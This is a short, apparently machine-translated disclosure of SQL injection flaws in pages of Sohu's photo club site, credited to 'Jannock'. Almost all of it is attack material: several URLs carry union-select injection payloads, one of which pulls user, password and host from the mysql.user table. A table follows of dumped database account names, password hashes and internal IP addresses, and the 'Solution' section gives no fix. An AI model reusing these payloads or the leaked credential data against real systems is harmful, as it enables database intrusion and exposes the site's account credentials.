Sohu network root injection for a channel

Http://photo.club.sohu.com/learning/read_art_sub.315.php? Artid = 38587% 20and % 201 = 2% 20 union % 20 select % 28%, 3%, user %, 6, 9, 0, 23
Http://photo.club.sohu.com/auto/read_art_sub.315.php? Artid = 37733% 20and % 201 = 2% 20 union % 20 select % ,,2, 3,4, concat % 28 user, 0x7c, password, 0x7c, host % 29,6, 7,8, 9,0, 3% 20 from % 20mysql. user % 23
 
Http://photo.club.sohu.com/dragon/viewindex/radio/radio_cache.php? Kindid = 663 and 1 = 2 union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 4, 5, 6, 7, 8, 9% 23
Http://photo.club.sohu.com/dragon/admin/commend_list.php? Start = 50,1% 23 & classid = 15
 
 
Proof of vulnerability:

Wap | 6b296ebe3ddf9d49 | %
Club | 1cc79467285721a9 | 192.168.131.176
Club | 1cc79467285721a9 | 192.168.1.148
Mysql | 1d217e7f72041b1c | localhost
Club | 1cc79467285721a9 | 192.168.1.209
Club | 1cc79467285721a9 | %
Mysqlmon | * 565e94d80534abc0dc2595436de148b6c0a37f | 10.11.156.28
Pingmysql | * 565e94d80534abc0dc2595436de148b6c0a37f | 10.11.36.20
Pingmysql | * 565e94d80534abc0dc2595436de148b6c0a37f | 192.168.1.178
Saa | * d5646425a06d534e3206a9eceb513d8d07bb318 | %
Solution:

You understand

Author: Jannock